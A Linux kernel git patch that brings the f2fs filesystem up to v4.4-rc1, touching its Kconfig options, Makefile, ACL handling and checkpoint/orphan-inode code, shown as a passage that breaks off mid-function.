From 9d540d395ceaab10ba34ba20e5662976f3d63cb2 Mon Sep 17 00:00:00 2001 From: Jaegeuk Kim Date: Sun, 29 Nov 2015 15:24:47 +0800 Subject: [PATCH 001/365] f2fs: catch up to v4.4-rc1 The last patch is: commit beaa57dd986d4f398728c060692fc2452895cfd8 Author: Chao Yu Date: Thu Oct 22 18:24:12 2015 +0800 f2fs: fix to skip shrinking extent nodes In f2fs_shrink_extent_tree we should stop shrink flow if we have already shrunk enough nodes in extent cache. Signed-off-by: Jaegeuk Kim Change-Id: I00aa76486c8ac93fb7bc5ef6e68d237e9bbf83ce --- fs/f2fs/Kconfig | 59 +- fs/f2fs/Makefile | 6 +- fs/f2fs/acl.c | 65 +- fs/f2fs/acl.h | 10 +- fs/f2fs/checkpoint.c | 937 +++++++++++++------ fs/f2fs/crypto.c | 491 ++++++++++ fs/f2fs/crypto_fname.c | 440 +++++++++ fs/f2fs/crypto_key.c | 254 +++++ fs/f2fs/crypto_policy.c | 209 +++++ fs/f2fs/data.c | 1708 +++++++++++++++++++++++++-------- fs/f2fs/debug.c | 233 +++-- fs/f2fs/dir.c | 763 +++++++++------ fs/f2fs/extent_cache.c | 748 +++++++++++++++ fs/f2fs/f2fs.h | 1549 +++++++++++++++++++++++++----- fs/f2fs/f2fs_crypto.h | 151 +++ fs/f2fs/file.c | 1517 +++++++++++++++++++++++++----- fs/f2fs/gc.c | 512 ++++++---- fs/f2fs/gc.h | 52 +- fs/f2fs/hash.c | 12 +- fs/f2fs/inline.c | 612 ++++++++++++ fs/f2fs/inode.c | 294 ++++-- fs/f2fs/namei.c | 519 ++++++++--- fs/f2fs/node.c | 1335 ++++++++++++++++---------- fs/f2fs/node.h | 227 +++-- fs/f2fs/recovery.c | 517 ++++++---- fs/f2fs/segment.c | 1760 +++++++++++++++++++++++++---------- fs/f2fs/segment.h | 320 ++++--- fs/f2fs/shrinker.c | 139 +++ fs/f2fs/super.c | 1097 ++++++++++++++++++---- fs/f2fs/trace.c | 159 ++++ fs/f2fs/trace.h | 46 + fs/f2fs/xattr.c | 456 ++++++--- fs/f2fs/xattr.h | 51 +- include/linux/f2fs_fs.h | 112 ++- include/trace/events/f2fs.h | 705 ++++++++++++-- 35 files changed, 14388 insertions(+), 3677 deletions(-) create mode 100644 fs/f2fs/crypto.c create mode 100644 fs/f2fs/crypto_fname.c create mode 100644 fs/f2fs/crypto_key.c create mode 100644 fs/f2fs/crypto_policy.c create mode 100644 fs/f2fs/extent_cache.c create mode 100644 fs/f2fs/f2fs_crypto.h create mode 100644 fs/f2fs/inline.c create mode 100644 fs/f2fs/shrinker.c create mode 100644 fs/f2fs/trace.c create mode 100644 fs/f2fs/trace.h diff --git a/fs/f2fs/Kconfig b/fs/f2fs/Kconfig index fd27e7e6326e6..390e1cfb47170 100644 --- a/fs/f2fs/Kconfig +++ b/fs/f2fs/Kconfig @@ -1,5 +1,5 @@ config F2FS_FS - tristate "F2FS filesystem support (EXPERIMENTAL)" + tristate "F2FS filesystem support" depends on BLOCK help F2FS is based on Log-structured File System (LFS), which supports @@ -19,11 +19,11 @@ config F2FS_STAT_FS depends on F2FS_FS && DEBUG_FS default y help - /sys/kernel/debug/f2fs/ contains information about all the partitions + /sys/debug/f2fs/ contains information about all the partitions mounted as f2fs. Each file shows the whole f2fs information. - /sys/kernel/debug/f2fs/status includes: - - major file system information managed by f2fs currently + /sys/debug/f2fs/status includes: + - major filesystem information managed by f2fs currently - average SIT information about whole segments - current memory footprint consumed by f2fs. @@ -45,9 +45,58 @@ config F2FS_FS_POSIX_ACL default y help Posix Access Control Lists (ACLs) support permissions for users and - gourps beyond the owner/group/world scheme. + groups beyond the owner/group/world scheme. To learn more about Access Control Lists, visit the POSIX ACLs for Linux website . If you don't know what Access Control Lists are, say N + +config F2FS_FS_SECURITY + bool "F2FS Security Labels" + depends on F2FS_FS_XATTR + help + Security labels provide an access control facility to support Linux + Security Models (LSMs) accepted by AppArmor, SELinux, Smack and TOMOYO + Linux. This option enables an extended attribute handler for file + security labels in the f2fs filesystem, so that it requires enabling + the extended attribute support in advance. + + If you are not using a security module, say N. + +config F2FS_CHECK_FS + bool "F2FS consistency checking feature" + depends on F2FS_FS + help + Enables BUG_ONs which check the filesystem consistency in runtime. + + If you want to improve the performance, say N. + +config F2FS_FS_ENCRYPTION + bool "F2FS Encryption" + depends on F2FS_FS + depends on F2FS_FS_XATTR + select CRYPTO_AES + select CRYPTO_CBC + select CRYPTO_ECB + select CRYPTO_XTS + select CRYPTO_CTS + select CRYPTO_CTR + select CRYPTO_SHA256 + select KEYS + select ENCRYPTED_KEYS + help + Enable encryption of f2fs files and directories. This + feature is similar to ecryptfs, but it is more memory + efficient since it avoids caching the encrypted and + decrypted pages in the page cache. + +config F2FS_IO_TRACE + bool "F2FS IO tracer" + depends on F2FS_FS + depends on FUNCTION_TRACER + help + F2FS IO trace is based on a function trace, which gathers process + information and block IO patterns in the filesystem level. + + If unsure, say N. diff --git a/fs/f2fs/Makefile b/fs/f2fs/Makefile index 27a0820340b9f..08e101ed914ce 100644 --- a/fs/f2fs/Makefile +++ b/fs/f2fs/Makefile @@ -1,7 +1,11 @@ obj-$(CONFIG_F2FS_FS) += f2fs.o -f2fs-y := dir.o file.o inode.o namei.o hash.o super.o +f2fs-y := dir.o file.o inode.o namei.o hash.o super.o inline.o f2fs-y += checkpoint.o gc.o data.o node.o segment.o recovery.o +f2fs-y += shrinker.o extent_cache.o f2fs-$(CONFIG_F2FS_STAT_FS) += debug.o f2fs-$(CONFIG_F2FS_FS_XATTR) += xattr.o f2fs-$(CONFIG_F2FS_FS_POSIX_ACL) += acl.o +f2fs-$(CONFIG_F2FS_IO_TRACE) += trace.o +f2fs-$(CONFIG_F2FS_FS_ENCRYPTION) += crypto_policy.o crypto.o \ + crypto_key.o crypto_fname.o diff --git a/fs/f2fs/acl.c b/fs/f2fs/acl.c index 44abc2f286e00..5b952c05903f4 100644 --- a/fs/f2fs/acl.c +++ b/fs/f2fs/acl.c @@ -17,9 +17,6 @@ #include "xattr.h" #include "acl.h" -#define get_inode_mode(i) ((is_inode_flag_set(F2FS_I(i), FI_ACL_MODE)) ? \ - (F2FS_I(i)->i_acl_mode) : ((i)->i_mode)) - static inline size_t f2fs_acl_size(int count) { if (count <= 4) { @@ -65,7 +62,7 @@ static struct posix_acl *f2fs_acl_from_disk(const char *value, size_t size) if (count == 0) return NULL; - acl = posix_acl_alloc(count, GFP_KERNEL); + acl = posix_acl_alloc(count, GFP_NOFS); if (!acl) return ERR_PTR(-ENOMEM); @@ -119,7 +116,7 @@ static void *f2fs_acl_to_disk(const struct posix_acl *acl, size_t *size) int i; f2fs_acl = kmalloc(sizeof(struct f2fs_acl_header) + acl->a_count * - sizeof(struct f2fs_acl_entry), GFP_KERNEL); + sizeof(struct f2fs_acl_entry), GFP_NOFS); if (!f2fs_acl) return ERR_PTR(-ENOMEM); @@ -165,7 +162,8 @@ static void *f2fs_acl_to_disk(const struct posix_acl *acl, size_t *size) return ERR_PTR(-EINVAL); } -struct posix_acl *f2fs_get_acl(struct inode *inode, int type) +static struct posix_acl *__f2fs_get_acl(struct inode *inode, int type, + struct page *dpage) { struct f2fs_sb_info *sbi = F2FS_SB(inode->i_sb); int name_index = F2FS_XATTR_INDEX_POSIX_ACL_DEFAULT; @@ -183,12 +181,13 @@ struct posix_acl *f2fs_get_acl(struct inode *inode, int type) if (type == ACL_TYPE_ACCESS) name_index = F2FS_XATTR_INDEX_POSIX_ACL_ACCESS; - retval = f2fs_getxattr(inode, name_index, "", NULL, 0); + retval = f2fs_getxattr(inode, name_index, "", NULL, 0, dpage); if (retval > 0) { - value = kmalloc(retval, GFP_KERNEL); + value = kmalloc(retval, GFP_F2FS_ZERO); if (!value) return ERR_PTR(-ENOMEM); - retval = f2fs_getxattr(inode, name_index, "", value, retval); + retval = f2fs_getxattr(inode, name_index, "", value, + retval, dpage); } if (retval > 0) @@ -205,7 +204,13 @@ struct posix_acl *f2fs_get_acl(struct inode *inode, int type) return acl; } -static int f2fs_set_acl(struct inode *inode, int type, struct posix_acl *acl) +struct posix_acl *f2fs_get_acl(struct inode *inode, int type) +{ + return __f2fs_get_acl(inode, type, NULL); +} + +static int f2fs_set_acl(struct inode *inode, int type, + struct posix_acl *acl, struct page *ipage) { struct f2fs_sb_info *sbi = F2FS_SB(inode->i_sb); struct f2fs_inode_info *fi = F2FS_I(inode); @@ -245,30 +250,31 @@ static int f2fs_set_acl(struct inode *inode, int type, struct posix_acl *acl) if (acl) { value = f2fs_acl_to_disk(acl, &size); if (IS_ERR(value)) { - cond_clear_inode_flag(fi, FI_ACL_MODE); + clear_inode_flag(fi, FI_ACL_MODE); return (int)PTR_ERR(value); } } - error = f2fs_setxattr(inode, name_index, "", value, size); + error = f2fs_setxattr(inode, name_index, "", value, size, ipage, 0); kfree(value); if (!error) set_cached_acl(inode, type, acl); - cond_clear_inode_flag(fi, FI_ACL_MODE); + clear_inode_flag(fi, FI_ACL_MODE); return error; } -int f2fs_init_acl(struct inode *inode, struct inode *dir) +int f2fs_init_acl(struct inode *inode, struct inode *dir, struct page *ipage, + struct page *dpage) { - struct posix_acl *acl = NULL; struct f2fs_sb_info *sbi = F2FS_SB(dir->i_sb); + struct posix_acl *acl = NULL; int error = 0; if (!S_ISLNK(inode->i_mode)) { if (test_opt(sbi, POSIX_ACL)) { - acl = f2fs_get_acl(dir, ACL_TYPE_DEFAULT); + acl = __f2fs_get_acl(dir, ACL_TYPE_DEFAULT, dpage); if (IS_ERR(acl)) return PTR_ERR(acl); } @@ -276,19 +282,19 @@ int f2fs_init_acl(struct inode *inode, struct inode *dir) inode->i_mode &= ~current_umask(); } - if (test_opt(sbi, POSIX_ACL) && acl) { + if (!test_opt(sbi, POSIX_ACL) || !acl) + goto cleanup; - if (S_ISDIR(inode->i_mode)) { - error = f2fs_set_acl(inode, ACL_TYPE_DEFAULT, acl); - if (error) - goto cleanup; - } - error = posix_acl_create(&acl, GFP_KERNEL, &inode->i_mode); - if (error < 0) - return error; - if (error > 0) - error = f2fs_set_acl(inode, ACL_TYPE_ACCESS, acl); + if (S_ISDIR(inode->i_mode)) { + error = f2fs_set_acl(inode, ACL_TYPE_DEFAULT, acl, ipage); + if (error) + goto cleanup; } + error = posix_acl_create(&acl, GFP_KERNEL, &inode->i_mode); + if (error < 0) + return error; + if (error > 0) + error = f2fs_set_acl(inode, ACL_TYPE_ACCESS, acl, ipage); cleanup: posix_acl_release(acl); return error; @@ -313,7 +319,8 @@ int f2fs_acl_chmod(struct inode *inode) error = posix_acl_chmod(&acl, GFP_KERNEL, mode); if (error) return error; - error = f2fs_set_acl(inode, ACL_TYPE_ACCESS, acl); + + error = f2fs_set_acl(inode, ACL_TYPE_ACCESS, acl, NULL); posix_acl_release(acl); return error; } @@ -388,7 +395,7 @@ static int f2fs_xattr_set_acl(struct dentry *dentry, const char *name, acl = NULL; } - error = f2fs_set_acl(inode, type, acl); + error = f2fs_set_acl(inode, type, acl, NULL); release_and_out: posix_acl_release(acl); diff --git a/fs/f2fs/acl.h b/fs/f2fs/acl.h index 80f430674417a..b4ba6866822ea 100644 --- a/fs/f2fs/acl.h +++ b/fs/f2fs/acl.h @@ -36,9 +36,10 @@ struct f2fs_acl_header { #ifdef CONFIG_F2FS_FS_POSIX_ACL -extern struct posix_acl *f2fs_get_acl(struct inode *inode, int type); -extern int f2fs_acl_chmod(struct inode *inode); -extern int f2fs_init_acl(struct inode *inode, struct inode *dir); +extern struct posix_acl *f2fs_get_acl(struct inode *, int); +extern int f2fs_acl_chmod(struct inode *); +extern int f2fs_init_acl(struct inode *, struct inode *, struct page *, + struct page *); #else #define f2fs_check_acl NULL #define f2fs_get_acl NULL @@ -49,7 +50,8 @@ static inline int f2fs_acl_chmod(struct inode *inode) return 0; } -static inline int f2fs_init_acl(struct inode *inode, struct inode *dir) +static inline int f2fs_init_acl(struct inode *inode, struct inode *dir, + struct page *ipage, struct page *dpage) { return 0; } diff --git a/fs/f2fs/checkpoint.c b/fs/f2fs/checkpoint.c index b1de01da1a409..463a67cc6cdba 100644 --- a/fs/f2fs/checkpoint.c +++ b/fs/f2fs/checkpoint.c @@ -20,17 +20,18 @@ #include "f2fs.h" #include "node.h" #include "segment.h" +#include "trace.h" #include -static struct kmem_cache *orphan_entry_slab; -static struct kmem_cache *inode_entry_slab; +static struct kmem_cache *ino_entry_slab; +struct kmem_cache *inode_entry_slab; /* * We guarantee no failure on the returned page. */ struct page *grab_meta_page(struct f2fs_sb_info *sbi, pgoff_t index) { - struct address_space *mapping = sbi->meta_inode->i_mapping; + struct address_space *mapping = META_MAPPING(sbi); struct page *page = NULL; repeat: page = grab_cache_page(mapping, index); @@ -38,9 +39,7 @@ struct page *grab_meta_page(struct f2fs_sb_info *sbi, pgoff_t index) cond_resched(); goto repeat; } - - /* We wait writeback only inside grab_meta_page() */ - wait_on_page_writeback(page); + f2fs_wait_on_page_writeback(page, META); SetPageUptodate(page); return page; } @@ -48,10 +47,21 @@ struct page *grab_meta_page(struct f2fs_sb_info *sbi, pgoff_t index) /* * We guarantee no failure on the returned page. */ -struct page *get_meta_page(struct f2fs_sb_info *sbi, pgoff_t index) +static struct page *__get_meta_page(struct f2fs_sb_info *sbi, pgoff_t index, + bool is_meta) { - struct address_space *mapping = sbi->meta_inode->i_mapping; + struct address_space *mapping = META_MAPPING(sbi); struct page *page; + struct f2fs_io_info fio = { + .sbi = sbi, + .type = META, + .rw = READ_SYNC | REQ_META | REQ_PRIO, + .blk_addr = index, + .encrypted_page = NULL, + }; + + if (unlikely(!is_meta)) + fio.rw &= ~REQ_META; repeat: page = grab_cache_page(mapping, index); if (!page) { @@ -61,68 +71,213 @@ struct page *get_meta_page(struct f2fs_sb_info *sbi, pgoff_t index) if (PageUptodate(page)) goto out; - if (f2fs_readpage(sbi, page, index, READ_SYNC)) + fio.page = page; + + if (f2fs_submit_page_bio(&fio)) { + f2fs_put_page(page, 1); goto repeat; + } lock_page(page); - if (page->mapping != mapping) { + if (unlikely(page->mapping != mapping)) { f2fs_put_page(page, 1); goto repeat; } + + /* + * if there is any IO error when accessing device, make our filesystem + * readonly and make sure do not write checkpoint with non-uptodate + * meta page. + */ + if (unlikely(!PageUptodate(page))) + f2fs_stop_checkpoint(sbi); out: mark_page_accessed(page); return page; } +struct page *get_meta_page(struct f2fs_sb_info *sbi, pgoff_t index) +{ + return __get_meta_page(sbi, index, true); +} + +/* for POR only */ +struct page *get_tmp_page(struct f2fs_sb_info *sbi, pgoff_t index) +{ + return __get_meta_page(sbi, index, false); +} + +bool is_valid_blkaddr(struct f2fs_sb_info *sbi, block_t blkaddr, int type) +{ + switch (type) { + case META_NAT: + break; + case META_SIT: + if (unlikely(blkaddr >= SIT_BLK_CNT(sbi))) + return false; + break; + case META_SSA: + if (unlikely(blkaddr >= MAIN_BLKADDR(sbi) || + blkaddr < SM_I(sbi)->ssa_blkaddr)) + return false; + break; + case META_CP: + if (unlikely(blkaddr >= SIT_I(sbi)->sit_base_addr || + blkaddr < __start_cp_addr(sbi))) + return false; + break; + case META_POR: + if (unlikely(blkaddr >= MAX_BLKADDR(sbi) || + blkaddr < MAIN_BLKADDR(sbi))) + return false; + break; + default: + BUG(); + } + + return true; +} + +/* + * Readahead CP/NAT/SIT/SSA pages + */ +int ra_meta_pages(struct f2fs_sb_info *sbi, block_t start, int nrpages, + int type, bool sync) +{ + block_t prev_blk_addr = 0; + struct page *page; + block_t blkno = start; + struct f2fs_io_info fio = { + .sbi = sbi, + .type = META, + .rw = sync ? (READ_SYNC | REQ_META | REQ_PRIO) : READA, + .encrypted_page = NULL, + }; + + if (unlikely(type == META_POR)) + fio.rw &= ~REQ_META; + + for (; nrpages-- > 0; blkno++) { + + if (!is_valid_blkaddr(sbi, blkno, type)) + goto out; + + switch (type) { + case META_NAT: + if (unlikely(blkno >= + NAT_BLOCK_OFFSET(NM_I(sbi)->max_nid))) + blkno = 0; + /* get nat block addr */ + fio.blk_addr = current_nat_addr(sbi, + blkno * NAT_ENTRY_PER_BLOCK); + break; + case META_SIT: + /* get sit block addr */ + fio.blk_addr = current_sit_addr(sbi, + blkno * SIT_ENTRY_PER_BLOCK); + if (blkno != start && prev_blk_addr + 1 != fio.blk_addr) + goto out; + prev_blk_addr = fio.blk_addr; + break; + case META_SSA: + case META_CP: + case META_POR: + fio.blk_addr = blkno; + break; + default: + BUG(); + } + + page = grab_cache_page(META_MAPPING(sbi), fio.blk_addr); + if (!page) + continue; + if (PageUptodate(page)) { + f2fs_put_page(page, 1); + continue; + } + + fio.page = page; + f2fs_submit_page_mbio(&fio); + f2fs_put_page(page, 0); + } +out: + f2fs_submit_merged_bio(sbi, META, READ); + return blkno - start; +} + +void ra_meta_pages_cond(struct f2fs_sb_info *sbi, pgoff_t index) +{ + struct page *page; + bool readahead = false; + + page = find_get_page(META_MAPPING(sbi), index); + if (!page || (page && !PageUptodate(page))) + readahead = true; + f2fs_put_page(page, 0); + + if (readahead) + ra_meta_pages(sbi, index, MAX_BIO_BLOCKS(sbi), META_POR, true); +} + static int f2fs_write_meta_page(struct page *page, struct writeback_control *wbc) { - struct inode *inode = page->mapping->host; - struct f2fs_sb_info *sbi = F2FS_SB(inode->i_sb); + struct f2fs_sb_info *sbi = F2FS_P_SB(page); - /* Should not write any meta pages, if any IO error was occurred */ - if (wbc->for_reclaim || - is_set_ckpt_flags(F2FS_CKPT(sbi), CP_ERROR_FLAG)) { - dec_page_count(sbi, F2FS_DIRTY_META); - wbc->pages_skipped++; - set_page_dirty(page); - return AOP_WRITEPAGE_ACTIVATE; - } + trace_f2fs_writepage(page, META); - wait_on_page_writeback(page); + if (unlikely(is_sbi_flag_set(sbi, SBI_POR_DOING))) + goto redirty_out; + if (wbc->for_reclaim && page->index < GET_SUM_BLOCK(sbi, 0)) + goto redirty_out; + if (unlikely(f2fs_cp_error(sbi))) + goto redirty_out; + f2fs_wait_on_page_writeback(page, META); write_meta_page(sbi, page); dec_page_count(sbi, F2FS_DIRTY_META); unlock_page(page); + + if (wbc->for_reclaim) + f2fs_submit_merged_bio(sbi, META, WRITE); return 0; + +redirty_out: + redirty_page_for_writepage(wbc, page); + return AOP_WRITEPAGE_ACTIVATE; } static int f2fs_write_meta_pages(struct address_space *mapping, struct writeback_control *wbc) { - struct f2fs_sb_info *sbi = F2FS_SB(mapping->host->i_sb); - struct block_device *bdev = sbi->sb->s_bdev; - long written; + struct f2fs_sb_info *sbi = F2FS_M_SB(mapping); + long diff, written; - if (wbc->for_kupdate) - return 0; + trace_f2fs_writepages(mapping->host, wbc, META); - if (get_pages(sbi, F2FS_DIRTY_META) == 0) - return 0; + /* collect a number of dirty meta pages and write together */ + if (wbc->for_kupdate || + get_pages(sbi, F2FS_DIRTY_META) < nr_pages_to_skip(sbi, META)) + goto skip_write; /* if mounting is failed, skip writing node pages */ mutex_lock(&sbi->cp_mutex); - written = sync_meta_pages(sbi, META, bio_get_nr_vecs(bdev)); + diff = nr_pages_to_write(sbi, META, wbc); + written = sync_meta_pages(sbi, META, wbc->nr_to_write); mutex_unlock(&sbi->cp_mutex); - wbc->nr_to_write -= written; + wbc->nr_to_write = max((long)0, wbc->nr_to_write - written - diff); + return 0; + +skip_write: + wbc->pages_skipped += get_pages(sbi, F2FS_DIRTY_META); return 0; } long sync_meta_pages(struct f2fs_sb_info *sbi, enum page_type type, long nr_to_write) { - struct address_space *mapping = sbi->meta_inode->i_mapping; - pgoff_t index = 0, end = LONG_MAX; + struct address_space *mapping = META_MAPPING(sbi); + pgoff_t index = 0, end = LONG_MAX, prev = LONG_MAX; struct pagevec pvec; long nwritten = 0; struct writeback_control wbc = { @@ -136,41 +291,63 @@ long sync_meta_pages(struct f2fs_sb_info *sbi, enum page_type type, nr_pages = pagevec_lookup_tag(&pvec, mapping, &index, PAGECACHE_TAG_DIRTY, min(end - index, (pgoff_t)PAGEVEC_SIZE-1) + 1); - if (nr_pages == 0) + if (unlikely(nr_pages == 0)) break; for (i = 0; i < nr_pages; i++) { struct page *page = pvec.pages[i]; + + if (prev == LONG_MAX) + prev = page->index - 1; + if (nr_to_write != LONG_MAX && page->index != prev + 1) { + pagevec_release(&pvec); + goto stop; + } + lock_page(page); - BUG_ON(page->mapping != mapping); - BUG_ON(!PageDirty(page)); - clear_page_dirty_for_io(page); - if (f2fs_write_meta_page(page, &wbc)) { + + if (unlikely(page->mapping != mapping)) { +continue_unlock: + unlock_page(page); + continue; + } + if (!PageDirty(page)) { + /* someone wrote it for us */ + goto continue_unlock; + } + + if (!clear_page_dirty_for_io(page)) + goto continue_unlock; + + if (mapping->a_ops->writepage(page, &wbc)) { unlock_page(page); break; } - if (nwritten++ >= nr_to_write) + nwritten++; + prev = page->index; + if (unlikely(nwritten >= nr_to_write)) break; } pagevec_release(&pvec); cond_resched(); } - +stop: if (nwritten) - f2fs_submit_bio(sbi, type, nr_to_write == LONG_MAX); + f2fs_submit_merged_bio(sbi, type, WRITE); return nwritten; } static int f2fs_set_meta_page_dirty(struct page *page) { - struct address_space *mapping = page->mapping; - struct f2fs_sb_info *sbi = F2FS_SB(mapping->host->i_sb); + trace_f2fs_set_page_dirty(page, META); SetPageUptodate(page); if (!PageDirty(page)) { __set_page_dirty_nobuffers(page); - inc_page_count(sbi, F2FS_DIRTY_META); + inc_page_count(F2FS_P_SB(page), F2FS_DIRTY_META); + SetPagePrivate(page); + f2fs_trace_pid(page); return 1; } return 0; @@ -180,138 +357,224 @@ const struct address_space_operations f2fs_meta_aops = { .writepage = f2fs_write_meta_page, .writepages = f2fs_write_meta_pages, .set_page_dirty = f2fs_set_meta_page_dirty, + .invalidatepage = f2fs_invalidate_page, + .releasepage = f2fs_release_page, }; -int check_orphan_space(struct f2fs_sb_info *sbi) +static void __add_ino_entry(struct f2fs_sb_info *sbi, nid_t ino, int type) { - unsigned int max_orphans; - int err = 0; + struct inode_management *im = &sbi->im[type]; + struct ino_entry *e, *tmp; - /* - * considering 512 blocks in a segment 5 blocks are needed for cp - * and log segment summaries. Remaining blocks are used to keep - * orphan entries with the limitation one reserved segment - * for cp pack we can have max 1020*507 orphan entries - */ - max_orphans = (sbi->blocks_per_seg - 5) * F2FS_ORPHANS_PER_BLOCK; - mutex_lock(&sbi->orphan_inode_mutex); - if (sbi->n_orphans >= max_orphans) - err = -ENOSPC; - mutex_unlock(&sbi->orphan_inode_mutex); - return err; + tmp = f2fs_kmem_cache_alloc(ino_entry_slab, GFP_NOFS); +retry: + radix_tree_preload(GFP_NOFS | __GFP_NOFAIL); + + spin_lock(&im->ino_lock); + e = radix_tree_lookup(&im->ino_root, ino); + if (!e) { + e = tmp; + if (radix_tree_insert(&im->ino_root, ino, e)) { + spin_unlock(&im->ino_lock); + radix_tree_preload_end(); + goto retry; + } + memset(e, 0, sizeof(struct ino_entry)); + e->ino = ino; + + list_add_tail(&e->list, &im->ino_list); + if (type != ORPHAN_INO) + im->ino_num++; + } + spin_unlock(&im->ino_lock); + radix_tree_preload_end(); + + if (e != tmp) + kmem_cache_free(ino_entry_slab, tmp); } -void add_orphan_inode(struct f2fs_sb_info *sbi, nid_t ino) +static void __remove_ino_entry(struct f2fs_sb_info *sbi, nid_t ino, int type) { - struct list_head *head, *this; - struct orphan_inode_entry *new = NULL, *orphan = NULL; - - mutex_lock(&sbi->orphan_inode_mutex); - head = &sbi->orphan_inode_list; - list_for_each(this, head) { - orphan = list_entry(this, struct orphan_inode_entry, list); - if (orphan->ino == ino) - goto out; - if (orphan->ino > ino) - break; - orphan = NULL; + struct inode_management *im = &sbi->im[type]; + struct ino_entry *e; + + spin_lock(&im->ino_lock); + e = radix_tree_lookup(&im->ino_root, ino); + if (e) { + list_del(&e->list); + radix_tree_delete(&im->ino_root, ino); + im->ino_num--; + spin_unlock(&im->ino_lock); + kmem_cache_free(ino_entry_slab, e); + return; } -retry: - new = kmem_cache_alloc(orphan_entry_slab, GFP_ATOMIC); - if (!new) { - cond_resched(); - goto retry; + spin_unlock(&im->ino_lock); +} + +void add_dirty_inode(struct f2fs_sb_info *sbi, nid_t ino, int type) +{ + /* add new dirty ino entry into list */ + __add_ino_entry(sbi, ino, type); +} + +void remove_dirty_inode(struct f2fs_sb_info *sbi, nid_t ino, int type) +{ + /* remove dirty ino entry from list */ + __remove_ino_entry(sbi, ino, type); +} + +/* mode should be APPEND_INO or UPDATE_INO */ +bool exist_written_data(struct f2fs_sb_info *sbi, nid_t ino, int mode) +{ + struct inode_management *im = &sbi->im[mode]; + struct ino_entry *e; + + spin_lock(&im->ino_lock); + e = radix_tree_lookup(&im->ino_root, ino); + spin_unlock(&im->ino_lock); + return e ? true : false; +} + +void release_dirty_inode(struct f2fs_sb_info *sbi) +{ + struct ino_entry *e, *tmp; + int i; + + for (i = APPEND_INO; i <= UPDATE_INO; i++) { + struct inode_management *im = &sbi->im[i]; + + spin_lock(&im->ino_lock); + list_for_each_entry_safe(e, tmp, &im->ino_list, list) { + list_del(&e->list); + radix_tree_delete(&im->ino_root, e->ino); + kmem_cache_free(ino_entry_slab, e); + im->ino_num--; + } + spin_unlock(&im->ino_lock); } - new->ino = ino; +} - /* add new_oentry into list which is sorted by inode number */ - if (orphan) - list_add(&new->list, this->prev); +int acquire_orphan_inode(struct f2fs_sb_info *sbi) +{ + struct inode_management *im = &sbi->im[ORPHAN_INO]; + int err = 0; + + spin_lock(&im->ino_lock); + if (unlikely(im->ino_num >= sbi->max_orphans)) + err = -ENOSPC; else - list_add_tail(&new->list, head); + im->ino_num++; + spin_unlock(&im->ino_lock); - sbi->n_orphans++; -out: - mutex_unlock(&sbi->orphan_inode_mutex); + return err; +} + +void release_orphan_inode(struct f2fs_sb_info *sbi) +{ + struct inode_management *im = &sbi->im[ORPHAN_INO]; + + spin_lock(&im->ino_lock); + f2fs_bug_on(sbi, im->ino_num == 0); + im->ino_num--; + spin_unlock(&im->ino_lock); +} + +void add_orphan_inode(struct f2fs_sb_info *sbi, nid_t ino) +{ + /* add new orphan ino entry into list */ + __add_ino_entry(sbi, ino, ORPHAN_INO); } void remove_orphan_inode(struct f2fs_sb_info *sbi, nid_t ino) { - struct list_head *this, *next, *head; - struct orphan_inode_entry *orphan; - - mutex_lock(&sbi->orphan_inode_mutex); - head = &sbi->orphan_inode_list; - list_for_each_safe(this, next, head) { - orphan = list_entry(this, struct orphan_inode_entry, list); - if (orphan->ino == ino) { - list_del(&orphan->list); - kmem_cache_free(orphan_entry_slab, orphan); - sbi->n_orphans--; - break; - } - } - mutex_unlock(&sbi->orphan_inode_mutex); + /* remove orphan entry from orphan list */ + __remove_ino_entry(sbi, ino, ORPHAN_INO); } -static void recover_orphan_inode(struct f2fs_sb_info *sbi, nid_t ino) +static int recover_orphan_inode(struct f2fs_sb_info *sbi, nid_t ino) { - struct inode *inode = f2fs_iget(sbi->sb, ino); - BUG_ON(IS_ERR(inode)); + struct inode *inode; + + inode = f2fs_iget(sbi->sb, ino); + if (IS_ERR(inode)) { + /* + * there should be a bug that we can't find the entry + * to orphan inode. + */ + f2fs_bug_on(sbi, PTR_ERR(inode) == -ENOENT); + return PTR_ERR(inode); + } + clear_nlink(inode); /* truncate all the data during iput */ iput(inode); + return 0; } int recover_orphan_inodes(struct f2fs_sb_info *sbi) { - block_t start_blk, orphan_blkaddr, i, j; + block_t start_blk, orphan_blocks, i, j; + int err; if (!is_set_ckpt_flags(F2FS_CKPT(sbi), CP_ORPHAN_PRESENT_FLAG)) return 0; - sbi->por_doing = 1; - start_blk = __start_cp_addr(sbi) + 1; - orphan_blkaddr = __start_sum_addr(sbi) - 1; + start_blk = __start_cp_addr(sbi) + 1 + __cp_payload(sbi); + orphan_blocks = __start_sum_addr(sbi) - 1 - __cp_payload(sbi); + + ra_meta_pages(sbi, start_blk, orphan_blocks, META_CP, true); - for (i = 0; i < orphan_blkaddr; i++) { + for (i = 0; i < orphan_blocks; i++) { struct page *page = get_meta_page(sbi, start_blk + i); struct f2fs_orphan_block *orphan_blk; orphan_blk = (struct f2fs_orphan_block *)page_address(page); for (j = 0; j < le32_to_cpu(orphan_blk->entry_count); j++) { nid_t ino = le32_to_cpu(orphan_blk->ino[j]); - recover_orphan_inode(sbi, ino); + err = recover_orphan_inode(sbi, ino); + if (err) { + f2fs_put_page(page, 1); + return err; + } } f2fs_put_page(page, 1); } /* clear Orphan Flag */ clear_ckpt_flags(F2FS_CKPT(sbi), CP_ORPHAN_PRESENT_FLAG); - sbi->por_doing = 0; return 0; } static void write_orphan_inodes(struct f2fs_sb_info *sbi, block_t start_blk) { - struct list_head *head, *this, *next; + struct list_head *head; struct f2fs_orphan_block *orphan_blk = NULL; - struct page *page = NULL; unsigned int nentries = 0; unsigned short index = 1; unsigned short orphan_blocks; + struct page *page = NULL; + struct ino_entry *orphan = NULL; + struct inode_management *im = &sbi->im[ORPHAN_INO]; - orphan_blocks = (unsigned short)((sbi->n_orphans + - (F2FS_ORPHANS_PER_BLOCK - 1)) / F2FS_ORPHANS_PER_BLOCK); + orphan_blocks = GET_ORPHAN_BLOCKS(im->ino_num); - mutex_lock(&sbi->orphan_inode_mutex); - head = &sbi->orphan_inode_list; + /* + * we don't need to do spin_lock(&im->ino_lock) here, since all the + * orphan inode operations are covered under f2fs_lock_op(). + * And, spin_lock should be avoided due to page operations below. + */ + head = &im->ino_list; /* loop for each orphan inode entry and write them in Jornal block */ - list_for_each_safe(this, next, head) { - struct orphan_inode_entry *orphan; + list_for_each_entry(orphan, head, list) { + if (!page) { + page = grab_meta_page(sbi, start_blk++); + orphan_blk = + (struct f2fs_orphan_block *)page_address(page); + memset(orphan_blk, 0, sizeof(*orphan_blk)); + } - orphan = list_entry(this, struct 